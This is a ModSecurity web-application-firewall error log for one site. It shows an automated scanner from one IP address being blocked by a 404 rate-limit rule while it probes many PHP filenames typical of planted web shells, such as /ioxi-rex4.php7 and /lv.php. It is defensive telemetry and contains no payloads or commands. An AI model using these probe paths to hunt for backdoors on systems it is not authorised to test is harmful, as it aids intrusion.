[Sun Dec 14 18:50:50.153317 2025] [:error] [pid 41600:tid 41603] [client 4.194.46.139:17447] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aT6WitFLTBZjcwNd_VvbbAAAAQA"]
[Sun Dec 14 18:50:51.746560 2025] [:error] [pid 13799:tid 13802] [client 4.194.46.139:17437] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aT6Wi3jPEin01ElFTNYbpgAAAgA"]
[Sun Dec 14 18:50:52.159792 2025] [:error] [pid 41600:tid 41627] [client 4.194.46.139:17475] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aT6WjNFLTBZjcwNd_VvbbQAAARg"]
[Sun Dec 14 18:50:52.825522 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:10214] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6WjNFLTBZjcwNd_VvbcgAAARM"]
[Sun Dec 14 18:50:54.767504 2025] [:error] [pid 40596:tid 40644] [client 4.194.46.139:17532] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6WjmvZZo4N2X7WoLxwJQAAAdI"]
[Sun Dec 14 18:50:55.483524 2025] [:error] [pid 39524:tid 39563] [client 4.194.46.139:17476] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6Wj2rVGpbDzFtDE9PBCgAAAEc"]
[Sun Dec 14 18:50:56.154826 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:10132] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6WkNFLTBZjcwNd_VvbmwAAARM"]
[Sun Dec 14 18:50:57.090696 2025] [:error] [pid 39614:tid 39624] [client 4.194.46.139:10113] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aT6WkfxybG8-9MflbDdJBAAAAMg"]
[Sun Dec 14 18:50:58.341747 2025] [:error] [pid 13799:tid 13824] [client 4.194.46.139:17412] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aT6WknjPEin01ElFTNYbuwAAAhY"]
[Sun Dec 14 18:50:59.666516 2025] [:error] [pid 40596:tid 40637] [client 4.194.46.139:10223] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aT6Wk2vZZo4N2X7WoLxwKQAAAcs"]
[Sun Dec 14 18:51:00.906082 2025] [:error] [pid 39525:tid 39589] [client 4.194.46.139:17521] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aT6WlE1fX_pB_BrvE_4ttgAAAIY"]
[Sun Dec 14 18:51:01.988164 2025] [:error] [pid 39523:tid 39530] [client 4.194.46.139:10203] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aT6WlTQTQH1raAj2lkjHfwAAAAI"]
[Sun Dec 14 18:51:03.517517 2025] [:error] [pid 13799:tid 13823] [client 4.194.46.139:10150] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aT6Wl3jPEin01ElFTNYbwwAAAhU"]
[Sun Dec 14 18:51:04.588365 2025] [:error] [pid 13799:tid 13812] [client 4.194.46.139:17448] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aT6WmHjPEin01ElFTNYbxAAAAgo"]
[Sun Dec 14 18:51:05.356671 2025] [:error] [pid 40596:tid 40639] [client 4.194.46.139:17493] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aT6WmWvZZo4N2X7WoLxwLwAAAc0"]
[Sun Dec 14 18:51:06.823180 2025] [:error] [pid 13799:tid 13811] [client 4.194.46.139:10227] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aT6WmnjPEin01ElFTNYbxwAAAgk"]
[Sun Dec 14 18:51:08.228641 2025] [:error] [pid 13799:tid 13816] [client 4.194.46.139:17465] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aT6WnHjPEin01ElFTNYbygAAAg4"]
[Sun Dec 14 18:51:28.198158 2025] [:error] [pid 39614:tid 39616] [client 4.194.46.139:17457] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aT6WsPxybG8-9MflbDdJTwAAAMA"]
[Sun Dec 14 18:51:28.989561 2025] [:error] [pid 40596:tid 40632] [client 4.194.46.139:10225] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aT6WsGvZZo4N2X7WoLxwPAAAAcY"]
[Sun Dec 14 18:51:29.729800 2025] [:error] [pid 41600:tid 41614] [client 4.194.46.139:10120] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aT6WsdFLTBZjcwNd_VvcFwAAAQs"]
[Sun Dec 14 18:51:30.840690 2025] [:error] [pid 39614:tid 39627] [client 4.194.46.139:17426] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aT6WsvxybG8-9MflbDdJUAAAAMs"]
[Sun Dec 14 18:51:31.301243 2025] [:error] [pid 13799:tid 13802] [client 4.194.46.139:17479] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6Ws3jPEin01ElFTNYb0wAAAgA"]
[Sun Dec 14 18:51:31.861742 2025] [:error] [pid 39523:tid 39544] [client 4.194.46.139:10200] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6WszQTQH1raAj2lkjHiQAAABA"]
[Sun Dec 14 18:51:32.816470 2025] [:error] [pid 13799:tid 13818] [client 4.194.46.139:17449] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6WtHjPEin01ElFTNYb1QAAAhA"]
[Sun Dec 14 18:51:33.944669 2025] [:error] [pid 40595:tid 40602] [client 4.194.46.139:17410] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aT6Wtfjrht6y4RN-xKT91gAAAYM"]
[Sun Dec 14 18:51:36.047074 2025] [:error] [pid 41600:tid 41613] [client 4.194.46.139:10197] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aT6WuNFLTBZjcwNd_VvcHQAAAQo"]
[Sun Dec 14 18:51:37.107712 2025] [:error] [pid 40561:tid 40580] [client 4.194.46.139:10105] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aT6WuYY6r869zoqRQkSyTwAAAU8"]
[Sun Dec 14 18:51:37.631419 2025] [:error] [pid 39523:tid 39530] [client 4.194.46.139:10206] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aT6WuTQTQH1raAj2lkjHiwAAAAI"]
[Sun Dec 14 18:51:38.835288 2025] [:error] [pid 39523:tid 39536] [client 4.194.46.139:17535] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aT6WujQTQH1raAj2lkjHjgAAAAg"]
[Sun Dec 14 18:51:39.952793 2025] [:error] [pid 39524:tid 39574] [client 4.194.46.139:10140] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aT6Wu2rVGpbDzFtDE9PBUgAAAFI"]
[Sun Dec 14 18:51:41.067716 2025] [:error] [pid 39525:tid 39604] [client 4.194.46.139:17478] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aT6WvU1fX_pB_BrvE_4tyQAAAJU"]
[Sun Dec 14 18:51:42.477765 2025] [:error] [pid 39614:tid 39635] [client 4.194.46.139:17470] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aT6WvvxybG8-9MflbDdJVQAAANM"]
[Sun Dec 14 18:51:42.812083 2025] [:error] [pid 13799:tid 13822] [client 4.194.46.139:17455] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aT6WvnjPEin01ElFTNYb2AAAAhQ"]
[Sun Dec 14 18:51:43.815256 2025] [:error] [pid 39523:tid 39534] [client 4.194.46.139:17424] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aT6WvzQTQH1raAj2lkjHlwAAAAY"]
[Sun Dec 14 18:51:44.624995 2025] [:error] [pid 39523:tid 39551] [client 4.194.46.139:10183] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aT6WwDQTQH1raAj2lkjHmgAAABc"]
[Sun Dec 14 18:51:45.163153 2025] [:error] [pid 39525:tid 39592] [client 4.194.46.139:17485] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aT6WwU1fX_pB_BrvE_4tygAAAIk"]
[Sun Dec 14 18:51:45.870054 2025] [:error] [pid 39524:tid 39579] [client 4.194.46.139:10148] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aT6WwWrVGpbDzFtDE9PBVQAAAFc"]
[Sun Dec 14 18:51:46.895149 2025] [:error] [pid 39525:tid 39585] [client 4.194.46.139:17473] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aT6Wwk1fX_pB_BrvE_4tzAAAAII"]
[Sun Dec 14 18:51:47.413950 2025] [:error] [pid 39524:tid 39569] [client 4.194.46.139:17441] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aT6Ww2rVGpbDzFtDE9PBVgAAAE0"]
[Sun Dec 14 18:51:48.377438 2025] [:error] [pid 40595:tid 40600] [client 4.194.46.139:17468] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aT6WxPjrht6y4RN-xKT94QAAAYE"]
[Sun Dec 14 18:51:49.110002 2025] [:error] [pid 40561:tid 40582] [client 4.194.46.139:10222] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aT6WxYY6r869zoqRQkSyVAAAAVE"]
[Sun Dec 14 18:51:50.368286 2025] [:error] [pid 40595:tid 40607] [client 4.194.46.139:17484] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aT6Wxvjrht6y4RN-xKT96gAAAYg"]
[Sun Dec 14 18:51:52.058013 2025] [:error] [pid 39524:tid 39571] [client 4.194.46.139:10234] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aT6WyGrVGpbDzFtDE9PBXwAAAE8"]
[Sun Dec 14 18:51:53.639139 2025] [:error] [pid 41600:tid 41626] [client 4.194.46.139:10202] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aT6WydFLTBZjcwNd_VvcLAAAARc"]
[Sun Dec 14 18:51:54.973562 2025] [:error] [pid 40595:tid 40612] [client 4.194.46.139:10169] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aT6Wyvjrht6y4RN-xKT9_QAAAY0"]
[Sun Dec 14 18:51:56.546182 2025] [:error] [pid 40596:tid 40648] [client 4.194.46.139:17503] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aT6WzGvZZo4N2X7WoLxwVAAAAdY"]
[Sun Dec 14 18:51:58.045798 2025] [:error] [pid 39614:tid 39624] [client 4.194.46.139:10119] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aT6WzvxybG8-9MflbDdJawAAAMg"]
[Sun Dec 14 18:52:01.612639 2025] [:error] [pid 41600:tid 41604] [client 4.194.46.139:17505] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aT6W0dFLTBZjcwNd_VvcMAAAAQE"]
[Sun Dec 14 18:52:02.582112 2025] [:error] [pid 39525:tid 39601] [client 4.194.46.139:10112] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aT6W0k1fX_pB_BrvE_4t0QAAAJI"]
[Sun Dec 14 18:52:04.056851 2025] [:error] [pid 39524:tid 39576] [client 4.194.46.139:10185] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aT6W1GrVGpbDzFtDE9PBfwAAAFQ"]
[Sun Dec 14 18:52:05.688653 2025] [:error] [pid 39523:tid 39540] [client 4.194.46.139:17508] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aT6W1TQTQH1raAj2lkjH5QAAAAw"]
[Sun Dec 14 18:52:06.592281 2025] [:error] [pid 13799:tid 13824] [client 4.194.46.139:10121] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aT6W1njPEin01ElFTNYb5QAAAhY"]
[Sun Dec 14 18:52:07.854626 2025] [:error] [pid 40561:tid 40569] [client 4.194.46.139:17467] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aT6W14Y6r869zoqRQkSyegAAAUQ"]
[Sun Dec 14 18:52:09.307279 2025] [:error] [pid 39523:tid 39550] [client 4.194.46.139:10194] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aT6W2TQTQH1raAj2lkjH6QAAABY"]
[Sun Dec 14 18:52:10.660926 2025] [:error] [pid 39524:tid 39571] [client 4.194.46.139:17456] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aT6W2mrVGpbDzFtDE9PBiAAAAE8"]
[Sun Dec 14 18:52:12.997213 2025] [:error] [pid 39614:tid 39639] [client 4.194.46.139:17526] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aT6W3PxybG8-9MflbDdJegAAANc"]
[Sun Dec 14 18:52:14.203720 2025] [:error] [pid 39523:tid 39532] [client 4.194.46.139:10126] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aT6W3jQTQH1raAj2lkjH7AAAAAQ"]
